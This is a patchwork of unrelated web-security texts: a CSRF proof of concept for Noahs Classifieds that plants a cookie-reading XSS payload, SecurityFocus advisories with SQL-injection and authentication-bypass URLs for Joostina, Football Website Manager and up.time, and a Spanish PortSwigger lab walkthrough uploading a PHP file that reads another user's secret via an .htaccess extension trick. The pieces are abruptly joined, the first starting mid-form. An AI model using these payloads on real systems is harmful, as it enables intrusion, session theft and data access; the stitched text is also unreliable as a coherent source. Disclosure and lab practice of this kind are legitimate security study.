<input type="hidden" name="descriptionMeta" value="">
<input type="hidden" name="keywords" value="">
<input type="hidden" name="customAdMeta" value="">
<input type="hidden" name="allowAd" value="1">
<input type="hidden" name="immediateAppear" value="1">
<input type="hidden" name="inactivateOnModify" value="1">
<input type="hidden" name="displayResponseLink" value="1">
<input type="hidden" name="displayFriendmailLink" value="1">
<input type="hidden" name="displayFlaggedLink" value="1">
<input type="hidden" name="customAdListTitle" value="">
<input type="hidden" name="customAdListTemplate" value="">
<input type="hidden" name="customAdDetailsTemplate" value="">
<input type="hidden" name="gsubmit" value="Ok">
</form>
<script>
document.main.submit();
</script>

<form action="http://host/index.php" method="post" name="main" enctype="multipart/form-data">
<input type="hidden" name="list" value="appsettings">
<input type="hidden" name="method" value="modify">
<input type="hidden" name="rollid" value="1">
<input type="hidden" name="id" value="1">
<input type="hidden" name="defaultTheme" value="modern">
<input type="hidden" name="defaultLanguage" value="en">
<input type="hidden" name="langDir" value="ltr">
<input type="hidden" name="adminEmail" value="">
<input type="hidden" name="titlePrefix" value=&#039;[Noahs Classifieds]</title><script>alert(document.cookie)</script>&#039;>
<input type="hidden" name="mainTitle" value="">
<input type="hidden" name="charLimit" value="0">
<input type="hidden" name="blockSize" value="20">
<input type="hidden" name="dateFormat" value="Y-m-d">
<input type="hidden" name="timeFormat" value="Y-m-d H:i">
<input type="hidden" name="gsubmit" value="Ok">

</form>
<script>
document.main.submit();
</script>
            
source: https://www.securityfocus.com/bid/47595/info

Multiple Joostina components are prone to an SQL-injection vulnerability because they fail to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the applications, access or modify data, or exploit latent vulnerabilities in the underlying database.

The following components are vulnerable:

'com_frontpage' 1.3.0.4_stable
'com_users'

Other components may also be affected. 

http://www.example.com/[Path]/index.php?option=com_users&task=profile&user=11+AND+1=0
http://www.example.com/[Path]/index.php?option=com_frontpage&Itemid=1&limit=4&limitstart=[SQL-Inj3cT-Here] 
            
source: https://www.securityfocus.com/bid/47593/info

Football Website Manager is prone to an SQL-injection vulnerability and multiple HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage these issues to compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is viewed, and launch other attacks.

Football Website Manager 1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/profile.php?fileId=[SQL Injection] 
            

En este post vamos a estar resolviendo el laboratorio de PortSwigger: “Web shell upload via extension blacklist bypass”.

image 64

Para resolver el laboratorio tenemos que subir un archivo PHP que lea y nos muestre el contenido del archivo /home/carlos/secret. Ya que para demostrar que hemos completado el laboratorio, deberemos introducir el contenido de este archivo.

Además, el servidor está configurado para que no acepte ciertas extensiones.

En este caso, el propio laboratorio nos proporciona una cuenta para iniciar sesión, por lo que vamos a hacerlo:

image 65
image 66

Una vez hemos iniciado sesión, nos encontramos con el perfil de la cuenta:

image 67

Como podemos ver, tenemos una opción para subir archivo, y concretamente parece ser que se trata de actualizar el avatar del perfil. Vamos a intentar aprovecharnos de esta opción para subir el siguiente archivo PHP:

image 68

Antes que nada, vamos a preparar Burp Suite para que intercepte la petición:

image 69
image 70

Una vez tenemos Burp Suite listo junto al proxy, seleccionamos el archivo y le damos a “Upload”:

image 71
image 72
image 73

Aquí Burp Suite interceptará la petición de subida del archivo:

image 74

Para tratar mejor con la petición y poder analizar de mejor manera la respuesta del servidor, vamos a pasar la petición al repeater con Ctrl R.

Una vez pasado, le damos a “Send” para ver la respuesta del servidor a la petición por defecto:

image 75

Nos dice que los archivos PHP no están permitidos. Por lo que la idea va a ser probar alternativas a la extensión de PHP para ver si no están definidas en la blacklist. En wikipedia podemos ver los tipos de extensiones asociadas a PHP:

image 76

Dicho esto, pasamos la petición del repeater al intruder pulsando Ctrl I. Una vez tengamos la petición en el intruder, le daremos al botón de clear para quitar los lugares de sustitución que se ponen por defecto:

image 77

Como lo que nos interesa es lanzar varias peticiones y que la diferencia entre cada una solo sea la extensión, declararemos un campo de sustitución en la extensión del nombre del archivo:

image 78

Con esto hecho, nos dirigiremos a la pestaña de “Payloads”:

image 79

Una vez aquí, definiremos nuestro diccionario, es decir, el diccionario que se usará para sustituir la extensión por defecto, por las definidas en el diccionario:

image 80
image 81

Una vez tengamos el diccionario de extensiones a probar hecho, nos dirigiremos a la pestaña de “Options” y a la parte de “Grep – Extract”:

image 82

Una vez aquí, estableceremos el string por el que queremos que filtre en las distintas respuestas, para que cuando no posea el string indicado, podamos detectar la respuesta en la que no lo esté rápidamente:

image 83

Una vez hecho, nos dirigiremos de nuevo a la pestaña de “Payloads” para empezar el ataque:

image 84
image 85

Se nos abrirá una nueva ventana referente al ataque:

image 86

En este caso, como podemos ver, parece que la única extensión que el servidor no permite, es la PHP. Por lo que presuntamente se han subido todas las demás. Vamos a ver la respuesta a la última petición en el navegador, para ello hacemos lo siguiente:

image 87
image 88
image 89
image 90

Una vez tengamos la respuesta, podemos desactivar el burp suite porque no haremos mas uso de él:

image 91

Con esto hecho, volvemos a nuestro perfil:

image 92

Ahora, si nos fijamos en el perfil, podemos ver como el avatar ha cambiado, y ahora muestra un fallo de que no carga bien la imagen:

image 93

Dándole click derecho, podemos irnos a la ruta directa de la imagen para ver si se trata de nuestro archivo PHP:

image 94
image 95

Ojo, el archivo parece que existe porque no nos da error 404, sin embargo, no se interpreta del todo ya que no ha leido el archivos que le hemos indicado que lea. No pasa nada, antes de entrar en panico vamos a probar con los demas archivos con otra extensión que hemos subido, por ejemplo, el phtml:

image 96

Este si nos lo interpreta, y de esta forma conseguimos leer el archivo secret.

Habiéndolo leído, ya simplemente entregamos la solución:

image 97
image 98

Y de esta forma, completamos el laboratorio:

image 99
image 100

Aunque lo hayamos solucionado de esta forma, la solución de PortSwigger me parece super chula e importante de comentar:

  1. Nos logueamos y subimos una imagen de nuestro avatar, con esto hecho, volvemos a la página de nuestro perfil.
  2. En el burp suite, nos dirigimos a Proxy > HTTP History. Aquí podremos ver una petición GET a la ruta /files/avatars/<archivo>. Enviamos esta respuesta al repeater.
  3. En nuestro sistema, creamos un archivo que se llame exploit.php que contenta un código que lea el contenido del archivo secret del usuario Carlos. Por ejemplo: <?php echo file_get_contents('/home/carlos/secret'); ?>
  4. Intentamos subir este archivo como nuestro avatar. La respuesta del servidor nos indicará que no se permiten archivos de extensión PHP.
  5. En el HTTP History ahora buscaremos la petición POST en la que hemos intentado subir el archivo php. En la respuesta del servidor a esta petición, nos podremos dar cuenta de que estamos tratando con un servidor apache. Dicho esto, enviamos esta petición al repeater.
  6. En la petición POST que ahora tenemos en el repeater, vamos a hacer los siguientes cambios:
    1. Cambiamos el nombre del archivo a .htaccess.
    2. Cambiamos el valor de Content-Type a text/plain
    3. Reemplazamos el contenido del archivo (el código PHP) por la siguiente directiva de apache: AddType application/x-httpd-php .l33t Esta directiva añadirá una nueva extensión al servidor, además, indicando que el tipo de MIME es application/x-httpd-php, lo que quiere decir que se comportará como un archivo PHP. Como el servidor hace uso de mod_php (módulo de PHP para apache), sabrá y entenderá lo que le estamos diciendo.
  7. Enviamos la petición, y veremos que el servidor nos indicará en la respuesta que el archivo se ha subido correctamente.
  8. Ahora volvemos a la petición original del archivo PHP, y lo único que cambiaremos será el nombre. Cambiaremos exploit.php por por ejemplo, exploit.l33t. Con esto, enviamos la petición y veremos que se ha subido correctamente.
  9. Ahora, volviendo a la petición GET del /files/avatars/<archivo> donde archivo será exploit.l33t, al hacerla, en la respuesta se nos devolverá el secret de Carlos.
  10. Mandamos la solución y laboratorio completado.

source: https://www.securityfocus.com/bid/47599/info

up.time software is prone to a remote authentication-bypass vulnerability.

Attackers can exploit this issue to bypass authentication and perform unauthorized actions.

up.time 5 is vulnerable; other versions may also be affected.

http://www.example.com:9999/index.php?userid=admin
&firstTimeLogin=True
&password=admin
&confirmPassword=admin
&adminEmail=admin () admin
&monitorEmail=admin () admin